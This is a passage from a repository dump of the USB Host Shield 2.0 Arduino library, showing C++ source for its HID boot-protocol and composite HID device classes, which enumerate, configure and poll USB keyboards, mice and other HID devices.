Initialize();\n\n        virtual HIDReportParser* GetReportParser(uint8_t id) {\n                return pRptParser[id];\n        };\n\npublic:\n        HIDBoot(USB *p, bool bRptProtoEnable = false);\n\n        virtual bool SetReportParser(uint8_t id, HIDReportParser *prs) {\n                pRptParser[id] = prs;\n                return true;\n        };\n\n        // USBDeviceConfig implementation\n        uint8_t Init(uint8_t parent, uint8_t port, bool lowspeed);\n        uint8_t Release();\n        uint8_t Poll();\n\n        virtual uint8_t GetAddress() {\n                return bAddress;\n        };\n\n        virtual bool isReady() {\n                return bPollEnable;\n        };\n\n        // UsbConfigXtracter implementation\n        // Method should be defined here if virtual.\n        virtual void EndpointXtract(uint8_t conf, uint8_t iface, uint8_t alt, uint8_t proto, const USB_ENDPOINT_DESCRIPTOR *ep);\n\n        virtual bool DEVCLASSOK(uint8_t klass) {\n                return (klass == USB_CLASS_HID);\n        }\n\n        virtual bool DEVSUBCLASSOK(uint8_t subklass) {\n                return (subklass == BOOT_PROTOCOL);\n        }\n};\n\ntemplate <const uint8_t BOOT_PROTOCOL>\nHIDBoot<BOOT_PROTOCOL>::HIDBoot(USB *p, bool bRptProtoEnable/* = false*/) :\nUSBHID(p),\nqNextPollTime(0),\nbPollEnable(false),\nbRptProtoEnable(bRptProtoEnable) {\n        Initialize();\n\n        for(int i = 0; i < epMUL(BOOT_PROTOCOL); i++) {\n                pRptParser[i] = NULL;\n        }\n        if(pUsb)\n                pUsb->RegisterDeviceClass(this);\n}\n\ntemplate <const uint8_t BOOT_PROTOCOL>\nvoid HIDBoot<BOOT_PROTOCOL>::Initialize() {\n        for(int i = 0; i < totalEndpoints(BOOT_PROTOCOL); i++) {\n                epInfo[i].epAddr = 0;\n                epInfo[i].maxPktSize = (i) ? 0 : 8;\n                epInfo[i].bmSndToggle = 0;\n                epInfo[i].bmRcvToggle = 0;\n                epInfo[i].bmNakPower = (i) ? USB_NAK_NOWAIT : USB_NAK_MAX_POWER;\n        }\n        bNumEP = 1;\n        bNumIface = 0;\n        bConfNum = 0;\n}\n\ntemplate <const uint8_t BOOT_PROTOCOL>\nuint8_t HIDBoot<BOOT_PROTOCOL>::Init(uint8_t parent, uint8_t port, bool lowspeed) {\n        const uint8_t constBufSize = sizeof (USB_DEVICE_DESCRIPTOR);\n\n        uint8_t buf[constBufSize];\n        USB_DEVICE_DESCRIPTOR* device;\n        uint8_t rcode;\n        UsbDevice *p = NULL;\n        EpInfo *oldep_ptr = NULL;\n        uint8_t len = 0;\n        //uint16_t cd_len = 0;\n\n        uint8_t num_of_conf; // number of configurations\n        //uint8_t num_of_intf; // number of interfaces\n\n        AddressPool &addrPool = pUsb->GetAddressPool();\n\n        USBTRACE(\"BM Init\\r\\n\");\n        //USBTRACE2(\"totalEndpoints:\", (uint8_t) (totalEndpoints(BOOT_PROTOCOL)));\n        //USBTRACE2(\"epMUL:\", epMUL(BOOT_PROTOCOL));\n\n        if(bAddress)\n                return USB_ERROR_CLASS_INSTANCE_ALREADY_IN_USE;\n\n        bInterval = 0;\n        // Get pointer to pseudo device with address 0 assigned\n        p = addrPool.GetUsbDevicePtr(0);\n\n        if(!p)\n                return USB_ERROR_ADDRESS_NOT_FOUND_IN_POOL;\n\n        if(!p->epinfo) {\n                USBTRACE(\"epinfo\\r\\n\");\n                return USB_ERROR_EPINFO_IS_NULL;\n        }\n\n        // Save old pointer to EP_RECORD of address 0\n        oldep_ptr = p->epinfo;\n\n        // Temporary assign new pointer to epInfo to p->epinfo in order to avoid toggle inconsistence\n        p->epinfo = epInfo;\n\n        p->lowspeed = lowspeed;\n\n        // Get device descriptor\n        rcode = pUsb->getDevDescr(0, 0, 8, (uint8_t*)buf);\n\n        if(!rcode)\n                len = (buf[0] > constBufSize) ? constBufSize : buf[0];\n\n        device = reinterpret_cast<USB_DEVICE_DESCRIPTOR*>(buf);\n\n        if(rcode) {\n                // Restore p->epinfo\n                p->epinfo = oldep_ptr;\n\n                goto FailGetDevDescr;\n        }\n\n        // Restore p->epinfo\n        p->epinfo = oldep_ptr;\n\n        // Allocate new address according to device class\n        bAddress = addrPool.AllocAddress(parent, false, port);\n\n        if(!bAddress)\n                return USB_ERROR_OUT_OF_ADDRESS_SPACE_IN_POOL;\n\n        // Extract Max Packet Size from the device descriptor\n        epInfo[0].maxPktSize = (uint8_t)(device->bMaxPacketSize0);\n\n        // Assign new address to the device\n        rcode = pUsb->setAddr(0, 0, bAddress);\n\n        if(rcode) {\n                p->lowspeed = false;\n                addrPool.FreeAddress(bAddress);\n                bAddress = 0;\n                USBTRACE2(\"setAddr:\", rcode);\n                return rcode;\n        }\n        //delay(2); //per USB 2.0 sect.9.2.6.3\n\n        USBTRACE2(\"Addr:\", bAddress);\n\n        p->lowspeed = false;\n\n        p = addrPool.GetUsbDevicePtr(bAddress);\n\n        if(!p)\n                return USB_ERROR_ADDRESS_NOT_FOUND_IN_POOL;\n\n        p->lowspeed = lowspeed;\n\n        if(len)\n                rcode = pUsb->getDevDescr(bAddress, 0, len, (uint8_t*)buf);\n\n        if(rcode)\n                goto FailGetDevDescr;\n\n        num_of_conf = device->bNumConfigurations;\n\n        USBTRACE2(\"NC:\", num_of_conf);\n\n        // GCC will optimize unused stuff away.\n        if((BOOT_PROTOCOL & (USB_HID_PROTOCOL_KEYBOARD | USB_HID_PROTOCOL_MOUSE)) == (USB_HID_PROTOCOL_KEYBOARD | USB_HID_PROTOCOL_MOUSE)) {\n                USBTRACE(\"HID_PROTOCOL_KEYBOARD AND MOUSE\\r\\n\");\n                ConfigDescParser<\n                        USB_CLASS_HID,\n                        HID_BOOT_INTF_SUBCLASS,\n                        USB_HID_PROTOCOL_KEYBOARD | USB_HID_PROTOCOL_MOUSE,\n                        CP_MASK_COMPARE_ALL > confDescrParser(this);\n                confDescrParser.SetOR(); // Use the OR variant.\n                for(uint8_t i = 0; i < num_of_conf; i++) {\n                        pUsb->getConfDescr(bAddress, 0, i, &confDescrParser);\n                        if(bNumEP == (uint8_t)(totalEndpoints(BOOT_PROTOCOL)))\n                                break;\n                }\n        } else {\n                // GCC will optimize unused stuff away.\n                if(BOOT_PROTOCOL & USB_HID_PROTOCOL_KEYBOARD) {\n                        USBTRACE(\"HID_PROTOCOL_KEYBOARD\\r\\n\");\n                        for(uint8_t i = 0; i < num_of_conf; i++) {\n                                ConfigDescParser<\n                                        USB_CLASS_HID,\n                                        HID_BOOT_INTF_SUBCLASS,\n                                        USB_HID_PROTOCOL_KEYBOARD,\n                                        CP_MASK_COMPARE_ALL> confDescrParserA(this);\n\n                                pUsb->getConfDescr(bAddress, 0, i, &confDescrParserA);\n                                if(bNumEP == (uint8_t)(totalEndpoints(BOOT_PROTOCOL)))\n                                        break;\n                        }\n                }\n\n                // GCC will optimize unused stuff away.\n                if(BOOT_PROTOCOL & USB_HID_PROTOCOL_MOUSE) {\n                        USBTRACE(\"HID_PROTOCOL_MOUSE\\r\\n\");\n                        for(uint8_t i = 0; i < num_of_conf; i++) {\n                                ConfigDescParser<\n                                        USB_CLASS_HID,\n                                        HID_BOOT_INTF_SUBCLASS,\n                                        USB_HID_PROTOCOL_MOUSE,\n                                        CP_MASK_COMPARE_ALL> confDescrParserB(this);\n\n                                pUsb->getConfDescr(bAddress, 0, i, &confDescrParserB);\n                                if(bNumEP == ((uint8_t)(totalEndpoints(BOOT_PROTOCOL))))\n                                        break;\n\n                        }\n                }\n        }\n        USBTRACE2(\"bNumEP:\", bNumEP);\n\n        if(bNumEP != (uint8_t)(totalEndpoints(BOOT_PROTOCOL))) {\n                rcode = USB_DEV_CONFIG_ERROR_DEVICE_NOT_SUPPORTED;\n                goto Fail;\n        }\n\n        // Assign epInfo to epinfo pointer\n        rcode = pUsb->setEpInfoEntry(bAddress, bNumEP, epInfo);\n        //USBTRACE2(\"setEpInfoEntry returned \", rcode);\n        USBTRACE2(\"Cnf:\", bConfNum);\n\n        delay(1000);\n\n        // Set Configuration Value\n        rcode = pUsb->setConf(bAddress, 0, bConfNum);\n\n        if(rcode)\n                goto FailSetConfDescr;\n\n        delay(1000);\n\n        USBTRACE2(\"bIfaceNum:\", bIfaceNum);\n        USBTRACE2(\"bNumIface:\", bNumIface);\n\n        // Yes, mouse wants SetProtocol and SetIdle too!\n        for(uint8_t i = 0; i < epMUL(BOOT_PROTOCOL); i++) {\n                USBTRACE2(\"\\r\\nInterface:\", i);\n                rcode = SetProtocol(i, bRptProtoEnable ? HID_RPT_PROTOCOL : USB_HID_BOOT_PROTOCOL);\n                if(rcode) goto FailSetProtocol;\n                USBTRACE2(\"PROTOCOL SET HID_BOOT rcode:\", rcode);\n                rcode = SetIdle(i, 0, 0);\n                USBTRACE2(\"SET_IDLE rcode:\", rcode);\n                // if(rcode) goto FailSetIdle; This can fail.\n                // Get the RPIPE and just throw it away.\n                SinkParser<USBReadParser, uint16_t, uint16_t> sink;\n                rcode = GetReportDescr(i, &sink);\n                USBTRACE2(\"RPIPE rcode:\", rcode);\n        }\n\n        // Get RPIPE and throw it away.\n\n        if(BOOT_PROTOCOL & USB_HID_PROTOCOL_KEYBOARD) {\n                // Wake keyboard interface by twinkling up to 5 LEDs that are in the spec.\n                // kana, compose, scroll, caps, num\n                rcode = 0x20; // Reuse rcode.\n                while(rcode) {\n                        rcode >>= 1;\n                        // Ignore any error returned, we don't care if LED is not supported\n                        SetReport(0, 0, 2, 0, 1, &rcode); // Eventually becomes zero (All off)\n                        delay(25);\n                }\n        }\n        USBTRACE(\"BM configured\\r\\n\");\n\n        bPollEnable = true;\n        return 0;\n\nFailGetDevDescr:\n#ifdef DEBUG_USB_HOST\n        NotifyFailGetDevDescr();\n        goto Fail;\n#endif\n\n        //FailSetDevTblEntry:\n        //#ifdef DEBUG_USB_HOST\n        //        NotifyFailSetDevTblEntry();\n        //        goto Fail;\n        //#endif\n\n        //FailGetConfDescr:\n        //#ifdef DEBUG_USB_HOST\n        //        NotifyFailGetConfDescr();\n        //        goto Fail;\n        //#endif\n\nFailSetConfDescr:\n#ifdef DEBUG_USB_HOST\n        NotifyFailSetConfDescr();\n        goto Fail;\n#endif\n\nFailSetProtocol:\n#ifdef DEBUG_USB_HOST\n        USBTRACE(\"SetProto:\");\n        goto Fail;\n#endif\n\n        //FailSetIdle:\n        //#ifdef DEBUG_USB_HOST\n        //        USBTRACE(\"SetIdle:\");\n        //#endif\n\nFail:\n#ifdef DEBUG_USB_HOST\n        NotifyFail(rcode);\n#endif\n        Release();\n\n        return rcode;\n}\n\ntemplate <const uint8_t BOOT_PROTOCOL>\nvoid HIDBoot<BOOT_PROTOCOL>::EndpointXtract(uint8_t conf, uint8_t iface, uint8_t alt, uint8_t proto, const USB_ENDPOINT_DESCRIPTOR *pep) {\n\n        // If the first configuration satisfies, the others are not considered.\n        //if(bNumEP > 1 && conf != bConfNum)\n        if(bNumEP == totalEndpoints(BOOT_PROTOCOL))\n                return;\n\n        bConfNum = conf;\n        bIfaceNum = iface;\n\n        if((pep->bmAttributes & bmUSB_TRANSFER_TYPE) == USB_TRANSFER_TYPE_INTERRUPT && (pep->bEndpointAddress & 0x80) == 0x80) {\n                if(pep->bInterval > bInterval) bInterval = pep->bInterval;\n\n                // Fill in the endpoint info structure\n                epInfo[bNumEP].epAddr = (pep->bEndpointAddress & 0x0F);\n                epInfo[bNumEP].maxPktSize = (uint8_t)pep->wMaxPacketSize;\n                epInfo[bNumEP].bmSndToggle = 0;\n                epInfo[bNumEP].bmRcvToggle = 0;\n                epInfo[bNumEP].bmNakPower = USB_NAK_NOWAIT;\n                bNumEP++;\n\n        }\n}\n\ntemplate <const uint8_t BOOT_PROTOCOL>\nuint8_t HIDBoot<BOOT_PROTOCOL>::Release() {\n        pUsb->GetAddressPool().FreeAddress(bAddress);\n\n        bConfNum = 0;\n        bIfaceNum = 0;\n        bNumEP = 1;\n        bAddress = 0;\n        qNextPollTime = 0;\n        bPollEnable = false;\n\n        return 0;\n}\n\ntemplate <const uint8_t BOOT_PROTOCOL>\nuint8_t HIDBoot<BOOT_PROTOCOL>::Poll() {\n        uint8_t rcode = 0;\n\n        if(bPollEnable && ((int32_t)((uint32_t)millis() - qNextPollTime) >= 0L)) {\n\n                // To-do: optimize manually, using the for loop only if needed.\n                for(int i = 0; i < epMUL(BOOT_PROTOCOL); i++) {\n                        const uint16_t const_buff_len = 16;\n                        uint8_t buf[const_buff_len];\n\n                        USBTRACE3(\"(hidboot.h) i=\", i, 0x81);\n                        USBTRACE3(\"(hidboot.h) epInfo[epInterruptInIndex + i].epAddr=\", epInfo[epInterruptInIndex + i].epAddr, 0x81);\n                        USBTRACE3(\"(hidboot.h) epInfo[epInterruptInIndex + i].maxPktSize=\", epInfo[epInterruptInIndex + i].maxPktSize, 0x81);\n                        uint16_t read = (uint16_t)epInfo[epInterruptInIndex + i].maxPktSize;\n\n                        rcode = pUsb->inTransfer(bAddress, epInfo[epInterruptInIndex + i].epAddr, &read, buf);\n                        // SOME buggy dongles report extra keys (like sleep) using a 2 byte packet on the wrong endpoint.\n                        // Since keyboard and mice must report at least 3 bytes, we ignore the extra data.\n                        if(!rcode && read > 2) {\n                                if(pRptParser[i])\n                                        pRptParser[i]->Parse((USBHID*)this, 0, (uint8_t)read, buf);\n#ifdef DEBUG_USB_HOST\n                                // We really don't care about errors and anomalies unless we are debugging.\n                        } else {\n                                if(rcode != hrNAK) {\n                                        USBTRACE3(\"(hidboot.h) Poll:\", rcode, 0x81);\n                                }\n                                if(!rcode && read) {\n                                        USBTRACE3(\"(hidboot.h) Strange read count: \", read, 0x80);\n                                        USBTRACE3(\"(hidboot.h) Interface:\", i, 0x80);\n                                }\n                        }\n\n                        if(!rcode && read && (UsbDEBUGlvl > 0x7f)) {\n                                for(uint8_t i = 0; i < read; i++) {\n                                        PrintHex<uint8_t > (buf[i], 0x80);\n                                        USBTRACE1(\" \", 0x80);\n                                }\n                                if(read)\n                                        USBTRACE1(\"\\r\\n\", 0x80);\n#endif\n                        }\n\n                }\n                qNextPollTime = (uint32_t)millis() + bInterval;\n        }\n        return rcode;\n}\n\n#endif // __HIDBOOTMOUSE_H__\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/hidcomposite.cpp",
    "content": "/* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved.\n\nThis software may be distributed and modified under the terms of the GNU\nGeneral Public License version 2 (GPL2) as published by the Free Software\nFoundation and appearing in the file GPL2.TXT included in the packaging of\nthis file. Please note that GPL2 Section 2[b] requires that all works based\non this software must also be made publicly available under the terms of\nthe GPL2 (\"Copyleft\").\n\nContact information\n-------------------\n\nCircuits At Home, LTD\nWeb      :  http://www.circuitsathome.com\ne-mail   :  support@circuitsathome.com\n */\n\n#include \"hidcomposite.h\"\n\nHIDComposite::HIDComposite(USB *p) :\nUSBHID(p),\nqNextPollTime(0),\npollInterval(0),\nbPollEnable(false),\nbHasReportId(false) {\n        Initialize();\n\n        if(pUsb)\n                pUsb->RegisterDeviceClass(this);\n}\n\nuint16_t HIDComposite::GetHidClassDescrLen(uint8_t type, uint8_t num) {\n        for(uint8_t i = 0, n = 0; i < HID_MAX_HID_CLASS_DESCRIPTORS; i++) {\n                if(descrInfo[i].bDescrType == type) {\n                        if(n == num)\n                                return descrInfo[i].wDescriptorLength;\n                        n++;\n                }\n        }\n        return 0;\n}\n\nvoid HIDComposite::Initialize() {\n        for(uint8_t i = 0; i < MAX_REPORT_PARSERS; i++) {\n                rptParsers[i].rptId = 0;\n                rptParsers[i].rptParser = NULL;\n        }\n        for(uint8_t i = 0; i < HID_MAX_HID_CLASS_DESCRIPTORS; i++) {\n                descrInfo[i].bDescrType = 0;\n                descrInfo[i].wDescriptorLength = 0;\n        }\n        for(uint8_t i = 0; i < maxHidInterfaces; i++) {\n                hidInterfaces[i].bmInterface = 0;\n                hidInterfaces[i].bmProtocol = 0;\n\n                for(uint8_t j = 0; j < maxEpPerInterface; j++)\n                        hidInterfaces[i].epIndex[j] = 0;\n        }\n        for(uint8_t i = 0; i < totalEndpoints; i++) {\n                epInfo[i].epAddr = 0;\n                epInfo[i].maxPktSize = (i) ? 0 : 8;\n                epInfo[i].bmSndToggle = 0;\n                epInfo[i].bmRcvToggle = 0;\n                epInfo[i].bmNakPower = (i) ? USB_NAK_NOWAIT : USB_NAK_MAX_POWER;\n        }\n        bNumEP = 1;\n        bNumIface = 0;\n        bConfNum = 0;\n        pollInterval = 0;\n}\n\nbool HIDComposite::SetReportParser(uint8_t id, HIDReportParser *prs) {\n        for(uint8_t i = 0; i < MAX_REPORT_PARSERS; i++) {\n                if(rptParsers[i].rptId == 0 && rptParsers[i].rptParser == NULL) {\n                        rptParsers[i].rptId = id;\n                        rptParsers[i].rptParser = prs;\n                        return true;\n                }\n        }\n        return false;\n}\n\nHIDReportParser* HIDComposite::GetReportParser(uint8_t id) {\n        if(!bHasReportId)\n                return ((rptParsers[0].rptParser) ? rptParsers[0].rptParser : NULL);\n\n        for(uint8_t i = 0; i < MAX_REPORT_PARSERS; i++) {\n                if(rptParsers[i].rptId == id)\n                        return rptParsers[i].rptParser;\n        }\n        return NULL;\n}\n\nuint8_t HIDComposite::Init(uint8_t parent, uint8_t port, bool lowspeed) {\n        const uint8_t constBufSize = sizeof (USB_DEVICE_DESCRIPTOR);\n\n        uint8_t buf[constBufSize];\n        USB_DEVICE_DESCRIPTOR * udd = reinterpret_cast<USB_DEVICE_DESCRIPTOR*>(buf);\n        uint8_t rcode;\n        UsbDevice *p = NULL;\n        EpInfo *oldep_ptr = NULL;\n        uint8_t len = 0;\n\n        uint8_t num_of_conf; // number of configurations\n        //uint8_t num_of_intf; // number of interfaces\n\n        AddressPool &addrPool = pUsb->GetAddressPool();\n\n        USBTRACE(\"HU Init\\r\\n\");\n\n        if(bAddress)\n                return USB_ERROR_CLASS_INSTANCE_ALREADY_IN_USE;\n\n        // Get pointer to pseudo device with address 0 assigned\n        p = addrPool.GetUsbDevicePtr(0);\n\n        if(!p)\n                return USB_ERROR_ADDRESS_NOT_FOUND_IN_POOL;\n\n        if(!p->epinfo) {\n                USBTRACE(\"epinfo\\r\\n\");\n                return USB_ERROR_EPINFO_IS_NULL;\n        }\n\n        // Save old pointer to EP_RECORD of address 0\n        oldep_ptr = p->epinfo;\n\n        // Temporary assign new pointer to epInfo to p->epinfo in order to avoid toggle inconsistence\n        p->epinfo = epInfo;\n\n        p->lowspeed = lowspeed;\n\n        // Get device descriptor\n        rcode = pUsb->getDevDescr(0, 0, 8, (uint8_t*)buf);\n\n        if(!rcode)\n                len = (buf[0] > constBufSize) ? constBufSize : buf[0];\n\n        if(rcode) {\n                // Restore p->epinfo\n                p->epinfo = oldep_ptr;\n\n                goto FailGetDevDescr;\n        }\n\n        // Restore p->epinfo\n        p->epinfo = oldep_ptr;\n\n        // Allocate new address according to device class\n        bAddress = addrPool.AllocAddress(parent, false, port);\n\n        if(!bAddress)\n                return USB_ERROR_OUT_OF_ADDRESS_SPACE_IN_POOL;\n\n        // Extract Max Packet Size from the device descriptor\n        epInfo[0].maxPktSize = udd->bMaxPacketSize0;\n\n        // Assign new address to the device\n        rcode = pUsb->setAddr(0, 0, bAddress);\n\n        if(rcode) {\n                p->lowspeed = false;\n                addrPool.FreeAddress(bAddress);\n                bAddress = 0;\n                USBTRACE2(\"setAddr:\", rcode);\n                return rcode;\n        }\n\n        //delay(2); //per USB 2.0 sect.9.2.6.3\n\n        USBTRACE2(\"Addr:\", bAddress);\n\n        p->lowspeed = false;\n\n        p = addrPool.GetUsbDevicePtr(bAddress);\n\n        if(!p)\n                return USB_ERROR_ADDRESS_NOT_FOUND_IN_POOL;\n\n        p->lowspeed = lowspeed;\n\n        if(len)\n                rcode = pUsb->getDevDescr(bAddress, 0, len, (uint8_t*)buf);\n\n        if(rcode)\n                goto FailGetDevDescr;\n\n        VID = udd->idVendor; // Can be used by classes that inherits this class to check the VID and PID of the connected device\n        PID = udd->idProduct;\n\n        num_of_conf = udd->bNumConfigurations;\n\n        // Assign epInfo to epinfo pointer\n        rcode = pUsb->setEpInfoEntry(bAddress, 1, epInfo);\n\n        if(rcode)\n                goto FailSetDevTblEntry;\n\n        USBTRACE2(\"NC:\", num_of_conf);\n\n        for(uint8_t i = 0; i < num_of_conf; i++) {\n                //HexDumper<USBReadParser, uint16_t, uint16_t> HexDump;\n                ConfigDescParser<USB_CLASS_HID, 0, 0,\n                        CP_MASK_COMPARE_CLASS> confDescrParser(this);\n\n                //rcode = pUsb->getConfDescr(bAddress, 0, i, &HexDump);\n                rcode = pUsb->getConfDescr(bAddress, 0, i, &confDescrParser);\n\n                if(rcode)\n                        goto FailGetConfDescr;\n\n                if(bNumEP > 1)\n                        break;\n        } // for\n\n        if(bNumEP < 2)\n                return USB_DEV_CONFIG_ERROR_DEVICE_NOT_SUPPORTED;\n\n        // Assign epInfo to epinfo pointer\n        rcode = pUsb->setEpInfoEntry(bAddress, bNumEP, epInfo);\n\n        USBTRACE2(\"Cnf:\", bConfNum);\n\n        // Set Configuration Value\n        rcode = pUsb->setConf(bAddress, 0, bConfNum);\n\n        if(rcode)\n                goto FailSetConfDescr;\n\n        USBTRACE2(\"NumIface:\", bNumIface);\n\n        for(uint8_t i = 0; i < bNumIface; i++) {\n                if(hidInterfaces[i].epIndex[epInterruptInIndex] == 0)\n                        continue;\n\n                USBTRACE2(\"SetIdle:\", hidInterfaces[i].bmInterface);\n\n                rcode = SetIdle(hidInterfaces[i].bmInterface, 0, 0);\n\n                if(rcode && rcode != hrSTALL)\n                        goto FailSetIdle;\n        }\n\n        USBTRACE(\"HU configured\\r\\n\");\n\n        OnInitSuccessful();\n\n        bPollEnable = true;\n        return 0;\n\nFailGetDevDescr:\n#ifdef DEBUG_USB_HOST\n        NotifyFailGetDevDescr();\n        goto Fail;\n#endif\n\nFailSetDevTblEntry:\n#ifdef DEBUG_USB_HOST\n        NotifyFailSetDevTblEntry();\n        goto Fail;\n#endif\n\nFailGetConfDescr:\n#ifdef DEBUG_USB_HOST\n        NotifyFailGetConfDescr();\n        goto Fail;\n#endif\n\nFailSetConfDescr:\n#ifdef DEBUG_USB_HOST\n        NotifyFailSetConfDescr();\n        goto Fail;\n#endif\n\n\nFailSetIdle:\n#ifdef DEBUG_USB_HOST\n        USBTRACE(\"SetIdle:\");\n#endif\n\n#ifdef DEBUG_USB_HOST\nFail:\n        NotifyFail(rcode);\n#endif\n        Release();\n        return rcode;\n}\n\nHIDComposite::HIDInterface* HIDComposite::FindInterface(uint8_t iface, uint8_t alt, uint8_t proto) {\n        for(uint8_t i = 0; i < bNumIface && i < maxHidInterfaces; i++)\n                if(hidInterfaces[i].bmInterface == iface && hidInterfaces[i].bmAltSet == alt\n                        && hidInterfaces[i].bmProtocol == proto)\n                        return hidInterfaces + i;\n        return NULL;\n}\n\nvoid HIDComposite::EndpointXtract(uint8_t conf, uint8_t iface, uint8_t alt, uint8_t proto, const USB_ENDPOINT_DESCRIPTOR *pep) {\n        //ErrorMessage<uint8_t>(PSTR(\"\\r\\nConf.Val\"), conf);\n        //ErrorMessage<uint8_t>(PSTR(\"Iface Num\"), iface);\n        //ErrorMessage<uint8_t>(PSTR(\"Alt.Set\"), alt);\n\n        bConfNum = conf;\n\n        uint8_t index = 0;\n        HIDInterface *piface = FindInterface(iface, alt, proto);\n\n        // Fill in interface structure in case of new interface\n        if(!piface) {\n                piface = hidInterfaces + bNumIface;\n                piface->bmInterface = iface;\n                piface->bmAltSet = alt;\n                piface->bmProtocol = proto;\n                bNumIface++;\n        }\n\n        if((pep->bmAttributes & bmUSB_TRANSFER_TYPE) == USB_TRANSFER_TYPE_INTERRUPT)\n                index = (pep->bEndpointAddress & 0x80) == 0x80 ? epInterruptInIndex : epInterruptOutIndex;\n\n        if(!SelectInterface(iface, proto))\n                index = 0;\n\n        if(index) {\n                // Fill in the endpoint info structure\n                epInfo[bNumEP].epAddr = (pep->bEndpointAddress & 0x0F);\n                epInfo[bNumEP].maxPktSize = (uint8_t)pep->wMaxPacketSize;\n                epInfo[bNumEP].bmSndToggle = 0;\n                epInfo[bNumEP].bmRcvToggle = 0;\n                epInfo[bNumEP].bmNakPower = USB_NAK_NOWAIT;\n\n                // Fill in the endpoint index list\n                piface->epIndex[index] = bNumEP; //(pep->bEndpointAddress & 0x0F);\n\n                if(pollInterval < pep->bInterval) // Set the polling interval as the largest polling interval obtained from endpoints\n                        pollInterval = pep->bInterval;\n\n                bNumEP++;\n        }\n}\n\nuint8_t HIDComposite::Release() {\n        pUsb->GetAddressPool().FreeAddress(bAddress);\n\n        bNumEP = 1;\n        bAddress = 0;\n        qNextPollTime = 0;\n        bPollEnable = false;\n        return 0;\n}\n\nvoid HIDComposite::ZeroMemory(uint8_t len, uint8_t *buf) {\n        for(uint8_t i = 0; i < len; i++)\n                buf[i] = 0;\n}\n\nuint8_t HIDComposite::Poll() {\n        uint8_t rcode = 0;\n\n        if(!bPollEnable)\n                return 0;\n\n        if((int32_t)((uint32_t)millis() - qNextPollTime) >= 0L) {\n                qNextPollTime = (uint32_t)millis() + pollInterval;\n\n                uint8_t buf[constBuffLen];\n\n                for(uint8_t i = 0; i < bNumIface; i++) {\n                        uint8_t index = hidInterfaces[i].epIndex[epInterruptInIndex];\n\n                        if (index == 0)\n                            continue;\n\n                        uint16_t read = (uint16_t)epInfo[index].maxPktSize;\n\n                        ZeroMemory(constBuffLen, buf);\n\n                        uint8_t rcode = pUsb->inTransfer(bAddress, epInfo[index].epAddr, &read, buf);\n\n                        if(rcode) {\n                                if(rcode != hrNAK)\n                                        USBTRACE3(\"(hidcomposite.h) Poll:\", rcode, 0x81);\n                                continue;\n                        }\n\n                        if(read == 0)\n                            continue;\n\n                        if(read > constBuffLen)\n                                read = constBuffLen;\n\n#if 0\n                        Notify(PSTR(\"\\r\\nBuf: \"), 0x80);\n\n                        for(uint8_t i = 0; i < read; i++) {\n                                D_PrintHex<uint8_t > (buf[i], 0x80);\n                                Notify(PSTR(\" \"), 0x80);\n                        }\n\n                        Notify(PSTR(\"\\r\\n\"), 0x80);\n#endif\n                        ParseHIDData(this, epInfo[index].epAddr, bHasReportId, (uint8_t)read, buf);\n\n                        HIDReportParser *prs = GetReportParser(((bHasReportId) ? *buf : 0));\n\n                        if(prs)\n                                prs->Parse(this, bHasReportId, (uint8_t)read, buf);\n                    }\n\n        }\n        return rcode;\n}\n\n// Send a report to interrupt out endpoint. This is NOT SetReport() request!\nuint8_t HIDComposite::SndRpt(uint16_t nbytes, uint8_t *dataptr) {\n        return pUsb->outTransfer(bAddress, epInfo[epInterruptOutIndex].epAddr, nbytes, dataptr);\n}\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/hidcomposite.h",
    "content": "/* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved.\n\nThis software may be distributed and modified under the terms of the GNU\nGeneral Public License version 2 (GPL2) as published by the Free Software\nFoundation and appearing in the file GPL2.TXT included in the packaging of\nthis file. Please note that GPL2 Section 2[b] requires that all works based\non this software must also be made publicly available under the terms of\nthe GPL2 (\"Copyleft\").\n\nContact information\n-------------------\n\nCircuits At Home, LTD\nWeb      :  http://www.circuitsathome.com\ne-mail   :  support@circuitsathome.com\n */\n\n#if !defined(__HIDCOMPOSITE_H__)\n#define __HIDCOMPOSITE_H__\n\n#include \"usbhid.h\"\n//#include \"hidescriptorparser.h\"\n\nclass HIDComposite : public USBHID {\n\n        struct ReportParser {\n                uint8_t rptId;\n                HIDReportParser *rptParser;\n        } rptParsers[MAX_REPORT_PARSERS];\n\n        // HID class specific descriptor type and length info obtained from HID descriptor\n        HID_CLASS_DESCRIPTOR_LEN_AND_TYPE descrInfo[HID_MAX_HID_CLASS_DESCRIPTORS];\n\n        // Returns HID class specific descriptor length by its type and order number\n        uint16_t GetHidClassDescrLen(uint8_t type, uint8_t num);\n\n        struct HIDInterface {\n                struct {\n                        uint8_t bmInterface : 3;\n                        uint8_t bmAltSet : 3;\n                        uint8_t bmProtocol : 2;\n                };\n                uint8_t epIndex[maxEpPerInterface];\n        };\n\n        uint8_t bConfNum; // configuration number\n        uint8_t bNumIface; // number of interfaces in the configuration\n        uint8_t bNumEP; // total number of EP in the configuration\n        uint32_t qNextPollTime; // next poll time\n        uint8_t pollInterval;\n        bool bPollEnable; // poll enable flag\n\n        static const uint16_t constBuffLen = 64; // event buffer length\n\n        void Initialize();\n        HIDInterface* FindInterface(uint8_t iface, uint8_t alt, uint8_t proto);\n\n        void ZeroMemory(uint8_t len, uint8_t *buf);\n\nprotected:\n        EpInfo epInfo[totalEndpoints];\n        HIDInterface hidInterfaces[maxHidInterfaces];\n\n        bool bHasReportId;\n\n        uint16_t PID, VID; // PID and VID of connected device\n\n        // HID implementation\n        HIDReportParser* GetReportParser(uint8_t id);\n\n        virtual uint8_t OnInitSuccessful() {\n                return 0;\n        };\n\n        virtual void ParseHIDData(USBHID *hid __attribute__((unused)), uint8_t ep __attribute__((unused)), bool is_rpt_id __attribute__((unused)), uint8_t len __attribute__((unused)), uint8_t *buf __attribute__((unused))) {\n                return;\n        };\n\npublic:\n        HIDComposite(USB *p);\n\n        // HID implementation\n        bool SetReportParser(uint8_t id, HIDReportParser *prs);\n\n        // USBDeviceConfig implementation\n        uint8_t Init(uint8_t parent, uint8_t port, bool lowspeed);\n        uint8_t Release();\n        uint8_t Poll();\n\n        virtual uint8_t GetAddress() {\n                return bAddress;\n        };\n\n        virtual bool isReady() {\n                return bPollEnable;\n        };\n\n        // UsbConfigXtracter implementation\n        void EndpointXtract(uint8_t conf, uint8_t iface, uint8_t alt, uint8_t proto, const USB_ENDPOINT_DESCRIPTOR *ep);\n\n        // Send report - do not mix with SetReport()!\n        uint8_t SndRpt(uint16_t nbytes, uint8_t *dataptr);\n\n        // Returns true if we should 